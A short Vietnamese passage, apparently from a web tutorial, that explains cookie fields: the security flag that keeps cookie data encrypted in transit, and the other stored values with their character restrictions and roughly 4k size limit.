+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ
đựơc mă hoá trong quá tŕnh truyền giữa server và browser.
+ Các giá trị khác: là những dữ liệu đặc trưng được web server lưu trữ để
nhận dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy
và bị giới hạn trong khoảng 4k.